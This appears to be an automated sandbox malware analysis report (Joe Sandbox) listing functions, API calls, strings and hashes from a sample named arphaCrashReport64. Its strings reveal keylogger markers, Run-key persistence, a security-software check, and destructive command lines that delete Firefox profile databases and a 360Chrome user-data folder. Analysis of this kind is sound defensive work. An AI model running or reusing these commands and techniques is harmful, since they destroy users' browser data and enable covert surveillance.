API ID: _set_error_mode$CriticalSection_errno$CountExitFileInitializeLeaveModuleNameProcessSleepSpin_lockfreemalloc
String ID:
API String ID: 113790786-0
Opcode ID: 86b9dc4b091e1531f1f1660560b6c68a568f69c3ca3f9b6cc957dd92b27819b6
Instruction ID: 516eb21419bb12e03149fb13ed9f70ea22516ab27160393f318d1706b62a6273
Opcode Fuzzy Hash: 86b9dc4b091e1531f1f1660560b6c68a568f69c3ca3f9b6cc957dd92b27819b6
Instruction Fuzzy Hash: FE219D3060464482F660FB65E42DFEF2250EBA07CAF144924E54EA76DECF3CC5448B54

Function 0000021497F38A90 Relevance: 12.0, APIs: 8, Instructions: 39COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 0000021497F38A9D
_errno.LIBCMT ref: 0000021497F38AA5
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F38AB1
GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db,?,?,0000021497F3408F), ref: 0000021497F38AC2
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db,?,?,0000021497F3408F), ref: 0000021497F38ACD
_errno.LIBCMT ref: 0000021497F38ADA

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$AttributesErrorFileLast__doserrno_invalid_parameter_noinfo
String ID:
API String ID: 2953107838-0
Opcode ID: f747f3ee9be4ded5c3729201c636670468750acdd607b39ec7231ba446a72a78
Instruction ID: 4cb26f9da67ce4623db8c7f4aca97b16842f6b993273e95c1f5080ad662330f9
Opcode Fuzzy Hash: f747f3ee9be4ded5c3729201c636670468750acdd607b39ec7231ba446a72a78
Instruction Fuzzy Hash: 9E0112B051010686FA557BB8987DFEB25905F707E3F505D10D52DB62CAC73C88488F35

Function 0000021497C4BF88 Relevance: 11.6, APIs: 9, Instructions: 379COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0000021497C4C277
free.LIBCMT ref: 0000021497C4C287
free.LIBCMT ref: 0000021497C4C297
free.LIBCMT ref: 0000021497C4C2A3
free.LIBCMT ref: 0000021497C4C2F8
free.LIBCMT ref: 0000021497C4C300
free.LIBCMT ref: 0000021497C4C308
free.LIBCMT ref: 0000021497C4C310
free.LIBCMT ref: 0000021497C4C31A

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f32bca21d81294411377cb91f11f61de43356bc1920308245a35a8ea1693f131
Instruction ID: cfa6801fa9129a2c804079a80612e22924f3f03a80a86393f565bfc3279ae91c
Opcode Fuzzy Hash: f32bca21d81294411377cb91f11f61de43356bc1920308245a35a8ea1693f131
Instruction Fuzzy Hash: 27D1D830658AC48BD769EF68D059BEAB7E0FB69302F00056EE44EC72D6DB75D841CB81

Function 0000021497F3BFB0 Relevance: 10.8, APIs: 7, Instructions: 305COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0000021497F3C034
free.LIBCMT ref: 0000021497F3C059
free.LIBCMT ref: 0000021497F3C41E
free.LIBCMT ref: 0000021497F3C42A

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 230abf8bd2d6fe58f199a5d982aed6ada3d7d01b665ea2997f38d06e056d1801
Instruction ID: 1dcf3385220dffec184cf66eb30b2f0436047c4ad7a32bc1804cd3f633305426
Opcode Fuzzy Hash: 230abf8bd2d6fe58f199a5d982aed6ada3d7d01b665ea2997f38d06e056d1801
Instruction Fuzzy Hash: A3D1A132700B5085EB20EB62E498EDE77A4F7A97C9F400926DE9D53799EF78C105CB40

Function 0000021497F30682 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 223registryCOMMON

Download Yara Rule

APIs

rand.LIBCMT ref: 0000021497F307D1
RegOpenKeyExA.ADVAPI32 ref: 0000021497F30940
RegSetValueExA.ADVAPI32 ref: 0000021497F30979
RegCloseKey.ADVAPI32 ref: 0000021497F30997

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0000021497F30932
run, xrefs: 0000021497F30986

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: CloseOpenValuerand
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run$run
API String ID: 1269030272-4096352211
Opcode ID: bb5cf5929220f16a8c944caad1162cf4acaccbe0bc6527bf008da004e9084124
Instruction ID: 3ef68d904e7d5d13564545d03b2ecfbd85fdf092fcd7bc9a6df718c6835857ac
Opcode Fuzzy Hash: bb5cf5929220f16a8c944caad1162cf4acaccbe0bc6527bf008da004e9084124
Instruction Fuzzy Hash: B3B12A32210BC089EB75AF34D868BDE2362F7657E9F404A16DA5D5BADECF748284C740

Function 0000021497F27CE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

Part of subcall function 0000021497F33290: malloc.LIBCMT ref: 0000021497F332AA

std::exception::exception.LIBCMT ref: 0000021497F27DA7
free.LIBCMT ref: 0000021497F27E17
free.LIBCMT ref: 0000021497F27E29
free.LIBCMT ref: 0000021497F27E3B
free.LIBCMT ref: 0000021497F27E4D

Strings

bad locale name, xrefs: 0000021497F27D94

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID: bad locale name
API String ID: 4069110180-1405518554
Opcode ID: 95a9697bb6755bd2649860b9bd4432e613ca6325910d1b302bb7e252e0bbe095
Instruction ID: a882513e7ac992bf596c49addfc0d9aeaf9dba290b2e1932fe4532d5cc6df785
Opcode Fuzzy Hash: 95a9697bb6755bd2649860b9bd4432e613ca6325910d1b302bb7e252e0bbe095
Instruction Fuzzy Hash: B8517C32701B4099FB10EBB4E469BDE33B2ABA4389F440825DF4D27A9EDF348419CB54

Function 0000021497C4395C Relevance: 10.6, APIs: 7, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 0000021497C4856C: _lock.LIBCMT ref: 0000021497C48593
Part of subcall function 0000021497C4856C: _errno.LIBCMT ref: 0000021497C485A7
Part of subcall function 0000021497C4856C: _invalid_parameter_noinfo.LIBCMT ref: 0000021497C485B3

_errno.LIBCMT ref: 0000021497C439E3
_errno.LIBCMT ref: 0000021497C439EA
_errno.LIBCMT ref: 0000021497C43A0A
_errno.LIBCMT ref: 0000021497C43A13
_errno.LIBCMT ref: 0000021497C43A1D
_errno.LIBCMT ref: 0000021497C43A27
free.LIBCMT ref: 0000021497C43A4D

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo_lockfree
String ID:
API String ID: 545175899-0
Opcode ID: 57a3e14ff19d228fc4fb1404de0338fa2b2075d3f3262c611f483b0a365b67db
Instruction ID: 52414d4bf846b02f74bf9b42d952012e5cc11b0825dd1105d34ce34e7de62db7
Opcode Fuzzy Hash: 57a3e14ff19d228fc4fb1404de0338fa2b2075d3f3262c611f483b0a365b67db
Instruction Fuzzy Hash: AA31983158464D4FEB54FFA5884AAEF77E1EBB8312F10492A944EE3695DB30C4008F81

Function 0000021497F2D060 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

Part of subcall function 0000021497F33290: malloc.LIBCMT ref: 0000021497F332AA

std::exception::exception.LIBCMT ref: 0000021497F2D10B
free.LIBCMT ref: 0000021497F2D18D
free.LIBCMT ref: 0000021497F2D19F
free.LIBCMT ref: 0000021497F2D1B1
free.LIBCMT ref: 0000021497F2D1C3

Strings

bad locale name, xrefs: 0000021497F2D0F8

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID: bad locale name
API String ID: 4069110180-1405518554
Opcode ID: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction ID: 2c94027c02a3fc006253d2cb7fcda043b9feb3dc50da211133607863d9f51b53
Opcode Fuzzy Hash: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction Fuzzy Hash: 78413336301B4098FB11EF60E868BEE33A4FB647AAF444925EE4D67A9DDE34C519C704

Function 0000021497F342A4 Relevance: 10.6, APIs: 7, Instructions: 93threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0000021497F383F4: HeapCreate.KERNELBASE ref: 0000021497F3840A
Part of subcall function 0000021497F383F4: GetVersion.KERNEL32 ref: 0000021497F3841C
Part of subcall function 0000021497F383F4: HeapSetInformation.KERNEL32 ref: 0000021497F3843A

_RTC_Initialize.LIBCMT ref: 0000021497F342D6
GetCommandLineA.KERNEL32 ref: 0000021497F342DB

Part of subcall function 0000021497F3976C: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,0000021497F342ED), ref: 0000021497F39785
Part of subcall function 0000021497F3976C: WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,0000021497F342ED), ref: 0000021497F397DC
Part of subcall function 0000021497F3976C: WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,0000021497F342ED), ref: 0000021497F39817
Part of subcall function 0000021497F3976C: free.LIBCMT ref: 0000021497F39824
Part of subcall function 0000021497F3976C: FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,0000021497F342ED), ref: 0000021497F3982F

Part of subcall function 0000021497F3902C: GetStartupInfoW.KERNEL32 ref: 0000021497F3904D

__setargv.LIBCMT ref: 0000021497F34304
_cinit.LIBCMT ref: 0000021497F34318

Part of subcall function 0000021497F347F4: FlsFree.KERNEL32(?,?,?,?,0000021497F34382), ref: 0000021497F34803
Part of subcall function 0000021497F347F4: RtlDeleteCriticalSection.NTDLL ref: 0000021497F39A43
Part of subcall function 0000021497F347F4: free.LIBCMT ref: 0000021497F39A4C
Part of subcall function 0000021497F347F4: RtlDeleteCriticalSection.NTDLL ref: 0000021497F39A73

Part of subcall function 0000021497F39300: free.LIBCMT ref: 0000021497F39351

Part of subcall function 0000021497F3537C: Sleep.KERNEL32(?,?,ceil,0000021497F34907,?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA), ref: 0000021497F353C1

FlsSetValue.KERNEL32 ref: 0000021497F343B2
GetCurrentThreadId.KERNEL32 ref: 0000021497F343C6
free.LIBCMT ref: 0000021497F343D5

Part of subcall function 0000021497F33D28: HeapFree.KERNEL32(?,?,00000000,0000021497F34940,?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA), ref: 0000021497F33D3E
Part of subcall function 0000021497F33D28: _errno.LIBCMT ref: 0000021497F33D48
Part of subcall function 0000021497F33D28: GetLastError.KERNEL32(?,?,00000000,0000021497F34940,?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA), ref: 0000021497F33D50

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: free$FreeHeap$ByteCharCriticalDeleteEnvironmentMultiSectionStringsWide$CommandCreateCurrentErrorInfoInformationInitializeLastLineSleepStartupThreadValueVersion__setargv_cinit_errno
String ID:
API String ID: 125979975-0
Opcode ID: 37b4e0c4565de308d4cd786e8218033d40196c5ea1367a114a56c7de8a0c3825
Instruction ID: 1bdc1707d384a81c30ef20f1aa707e8e6ca849ae726bd712da6bfe9959571275
Opcode Fuzzy Hash: 37b4e0c4565de308d4cd786e8218033d40196c5ea1367a114a56c7de8a0c3825
Instruction Fuzzy Hash: A631387020520286FE60B7B1947EFFB2185AB353D7F144D25D81EB62DFEA288440BF66

Function 00007FF600163330 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?,00007FF600163A22), ref: 00007FF600163370
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,00007FF600163A22), ref: 00007FF60016338A
RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,00007FF600163A22), ref: 00007FF6001633DF
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00007FF600163A22), ref: 00007FF6001633F1

Strings

Advapi32.dll, xrefs: 00007FF600163369
RegOpenKeyTransactedW, xrefs: 00007FF600163380

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: AddressCloseHandleModuleOpenProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 823179699-3913318428
Opcode ID: 4c946042f32618201f5a8803388fc1709d891790a8072950d2495006dc88b301
Instruction ID: 6be3cfcb8714e0d766242bed0ab383b57487cc72e6f09ea25f89f7543ca2476c
Opcode Fuzzy Hash: 4c946042f32618201f5a8803388fc1709d891790a8072950d2495006dc88b301
Instruction Fuzzy Hash: 94212C32A09B4296EB21CF96F84452AB3A4FB48B84F644175EE9D87B58DF3CE6518700

Function 0000021497F320E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0000021497F3212E
lstrcpy.KERNEL32 ref: 0000021497F32144
wsprintfA.USER32 ref: 0000021497F32173
lstrlen.KERNEL32 ref: 0000021497F3217C

Strings

UnKnowW, xrefs: 0000021497F32138
SOFTWARE\%sW\, xrefs: 0000021497F32164

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: ComputerNamelstrcpylstrlenwsprintf
String ID: SOFTWARE\%sW\$UnKnowW
API String ID: 2137660125-763317463
Opcode ID: dcea012c4cec8c2c86aa07fbe8fa18e7c6b084d16e7e0d36b23a3dafce76063e
Instruction ID: 7633f8a343faac02a6df0ca5a01155dd1da633673900ead4ea918d4cc05bc29a
Opcode Fuzzy Hash: dcea012c4cec8c2c86aa07fbe8fa18e7c6b084d16e7e0d36b23a3dafce76063e
Instruction Fuzzy Hash: 9111FE3121898182EA20EB11E86DBDB6361F7A57C5F444411DA4D57A59EB3DC149CF04

Function 0000021497F2DCA0 Relevance: 10.5, APIs: 7, Instructions: 44filesynchronizationstringCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 0000021497F2DCBC
CreateFileA.KERNEL32 ref: 0000021497F2DCEE
SetFilePointer.KERNEL32 ref: 0000021497F2DD13
lstrlen.KERNEL32 ref: 0000021497F2DD1C
WriteFile.KERNEL32 ref: 0000021497F2DD39
CloseHandle.KERNEL32 ref: 0000021497F2DD42
ReleaseMutex.KERNEL32 ref: 0000021497F2DD54

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: File$CloseCreateHandleMutexObjectPointerReleaseSingleWaitWritelstrlen
String ID:
API String ID: 4202892810-0
Opcode ID: d38896a3890081b88ef905279f1f8f3bcd07668c588b65e7c678813c6d7bd9a0
Instruction ID: fdd8a1837183ca7ced3814d71724d1a2d678782e575d7cb35f20dba23312fba8
Opcode Fuzzy Hash: d38896a3890081b88ef905279f1f8f3bcd07668c588b65e7c678813c6d7bd9a0
Instruction Fuzzy Hash: AA11427124464582EB50EB55F82DBA67760F798BE5F044611DA6E13BE8CF7CC0458F04

Function 0000021497F2FB30 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 34sleeplibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 0000021497F22AC0: CreateToolhelp32Snapshot.KERNEL32 ref: 0000021497F22AD6

LoadLibraryW.KERNEL32 ref: 0000021497F2FB48

Part of subcall function 0000021497F2F2D0: CreateFileW.KERNEL32 ref: 0000021497F2F303

FindWindowW.USER32 ref: 0000021497F2FB69
IsDlgButtonChecked.USER32 ref: 0000021497F2FB84
Sleep.KERNEL32 ref: 0000021497F2FB8F

Part of subcall function 0000021497F2F360: GetCurrentProcessId.KERNEL32 ref: 0000021497F2F3A0
Part of subcall function 0000021497F2F360: GetCurrentThreadId.KERNEL32 ref: 0000021497F2F3A8
Part of subcall function 0000021497F2F360: VirtualProtect.KERNEL32 ref: 0000021497F2F3CF
Part of subcall function 0000021497F2F360: VirtualProtect.KERNEL32 ref: 0000021497F2F3F6
Part of subcall function 0000021497F2F360: CreateProcessWithLogonW.ADVAPI32 ref: 0000021497F2F450
Part of subcall function 0000021497F2F360: VirtualProtect.KERNEL32 ref: 0000021497F2F475
Part of subcall function 0000021497F2F360: VirtualProtect.KERNEL32 ref: 0000021497F2F49C
Part of subcall function 0000021497F2F360: CloseHandle.KERNEL32 ref: 0000021497F2F4AC

Strings

Q360SafeMonClass, xrefs: 0000021497F2FB60
user32.dll, xrefs: 0000021497F2FB41

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: ProtectVirtual$Create$CurrentProcess$ButtonCheckedCloseFileFindHandleLibraryLoadLogonSleepSnapshotThreadToolhelp32WindowWith
String ID: Q360SafeMonClass$user32.dll
API String ID: 200090976-537184153
Opcode ID: 921665ad5ac78c43fd3a9f23d873db2a3a650aae6eac6ae2d962f46c08df0d72
Instruction ID: f589348bfc9aa2f5abda49e4c1366522ab0a00132c804e342052daeb66e988f2
Opcode Fuzzy Hash: 921665ad5ac78c43fd3a9f23d873db2a3a650aae6eac6ae2d962f46c08df0d72
Instruction Fuzzy Hash: 88F04F3076160243FA54B775987DFE711D06FB4B93F041C64CA0EA66D9EE28C8448F14

Function 0000021497F2E1F0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 34sleepsynchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 0000021497F2E20B
GetLastError.KERNEL32 ref: 0000021497F2E214
GetModuleHandleA.KERNEL32 ref: 0000021497F2E223

Part of subcall function 0000021497F2DA90: SHGetFolderPathA.SHELL32 ref: 0000021497F2DACD
Part of subcall function 0000021497F2DA90: lstrcat.KERNEL32 ref: 0000021497F2DADD
Part of subcall function 0000021497F2DA90: CreateMutexA.KERNEL32 ref: 0000021497F2DAEE
Part of subcall function 0000021497F2DA90: WaitForSingleObject.KERNEL32 ref: 0000021497F2DB06
Part of subcall function 0000021497F2DA90: CreateFileA.KERNEL32 ref: 0000021497F2DB34
Part of subcall function 0000021497F2DA90: GetFileSize.KERNEL32 ref: 0000021497F2DB42
Part of subcall function 0000021497F2DA90: CloseHandle.KERNEL32 ref: 0000021497F2DB4D
Part of subcall function 0000021497F2DA90: DeleteFileA.KERNEL32 ref: 0000021497F2DB5E
Part of subcall function 0000021497F2DA90: ReleaseMutex.KERNEL32 ref: 0000021497F2DB70

Part of subcall function 0000021497F2DEB0: GetKeyState.USER32 ref: 0000021497F2DFA5
Part of subcall function 0000021497F2DEB0: lstrlen.KERNEL32 ref: 0000021497F2DFFE
Part of subcall function 0000021497F2DEB0: wsprintfA.USER32 ref: 0000021497F2E06C
Part of subcall function 0000021497F2DEB0: lstrlen.KERNEL32 ref: 0000021497F2E105

Sleep.KERNEL32 ref: 0000021497F2E250
CloseHandle.KERNEL32 ref: 0000021497F2E261

Strings

K^e^y^L^o^g^g^e^r, xrefs: 0000021497F2E200

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: CreateFileHandleMutex$Closelstrlen$DeleteErrorFolderLastModuleObjectPathReleaseSingleSizeSleepStateWaitlstrcatwsprintf
String ID: K^e^y^L^o^g^g^e^r
API String ID: 809812578-2826508260
Opcode ID: 89460a35c748eb327358448a72d58bcfd2f9277bad92bf41dea310a58b81c931
Instruction ID: 9b5a1b2497461dea966b6ea676d8171628017e24398a7fa7a4ad13d10b4b0203
Opcode Fuzzy Hash: 89460a35c748eb327358448a72d58bcfd2f9277bad92bf41dea310a58b81c931
Instruction Fuzzy Hash: 7301AD31644A41C3EB94FB25F46CAEB23A1F7A5B86F544825E74F526A9DF38C489CF00

Function 0000021497F2EC62 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 25processCOMMON

Download Yara Rule

APIs

Part of subcall function 0000021497F2F1D0: CreateToolhelp32Snapshot.KERNEL32 ref: 0000021497F2F1F7

WinExec.KERNEL32 ref: 0000021497F2ECC3

Part of subcall function 0000021497F2F130: SHGetKnownFolderPath.SHELL32 ref: 0000021497F2F166
Part of subcall function 0000021497F2F130: wsprintfW.USER32 ref: 0000021497F2F184

Strings

360se.exe, xrefs: 0000021497F2EC8F
cmd.exe /c rmdir /s /q "%userprofile%\AppData\Local\360Chrome\Chrome\User Data\Default", xrefs: 0000021497F2ECBA
\AppData\Roaming\360se6\User Data\Default, xrefs: 0000021497F2EC79, 0000021497F2EC9F
360chrome.exe, xrefs: 0000021497F2ECAE
360se6.exe, xrefs: 0000021497F2EC69

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: CreateExecFolderKnownPathSnapshotToolhelp32wsprintf
String ID: 360chrome.exe$360se.exe$360se6.exe$\AppData\Roaming\360se6\User Data\Default$cmd.exe /c rmdir /s /q "%userprofile%\AppData\Local\360Chrome\Chrome\User Data\Default"
API String ID: 3785949191-1706831714
Opcode ID: d1eaf7f8e489474969b91f961f9eca55b1cc3b354283557bd717e9cd878dd9fd
Instruction ID: d656327e7d2f86f57e525eeca472a5296dca21cd3e2db2b7d1fccdb69cb806f7
Opcode Fuzzy Hash: d1eaf7f8e489474969b91f961f9eca55b1cc3b354283557bd717e9cd878dd9fd
Instruction Fuzzy Hash: B2F0D635390501A2FA10FF61EC7DBD713A0A778B56FD46C61DA0D661AEDE6CC146CB00

Function 0000021497C50AA8 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021497C50AC7

Part of subcall function 0000021497C496DC: _getptd.LIBCMT ref: 0000021497C496E0

_getptd.LIBCMT ref: 0000021497C50AD9
_getptd.LIBCMT ref: 0000021497C50AE7

Strings

RCC, xrefs: 0000021497C50AAF
csm, xrefs: 0000021497C50ABF
MOC, xrefs: 0000021497C50AB7

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction ID: 4272155a61be0dd0a221499fc7aba2079226686cae48f05b04efd26b44cb0e25
Opcode Fuzzy Hash: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction Fuzzy Hash: 17F03934044194DEE7557B74800EBE632A0FB29307F565DA4940C8A2A3E7BD49C0CF62

Function 0000021497F410F0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 20COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021497F4110F

Part of subcall function 0000021497F34958: _amsg_exit.LIBCMT ref: 0000021497F3496E

Part of subcall function 0000021497F39D24: _getptd.LIBCMT ref: 0000021497F39D28

_getptd.LIBCMT ref: 0000021497F41121
_getptd.LIBCMT ref: 0000021497F4112F

Strings

csm, xrefs: 0000021497F41107
RCC, xrefs: 0000021497F410F7
MOC, xrefs: 0000021497F410FF

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$_amsg_exit
String ID: MOC$RCC$csm
API String ID: 2610988583-2671469338
Opcode ID: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction ID: 2c6d556243b282845ecfb23f2710cd7e03d431f404aeb794ac36522a1f23374e
Opcode Fuzzy Hash: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction Fuzzy Hash: B3F06535504149C6EB15FB90C01DBFE31E4E7F4717F9688A1C25C6238AC77C44908F12

Function 0000021497C4D470 Relevance: 9.3, APIs: 6, Instructions: 293COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 0000021497C4D4C0
_errno.LIBCMT ref: 0000021497C4D4C7
_invalid_parameter_noinfo.LIBCMT ref: 0000021497C4D4D2
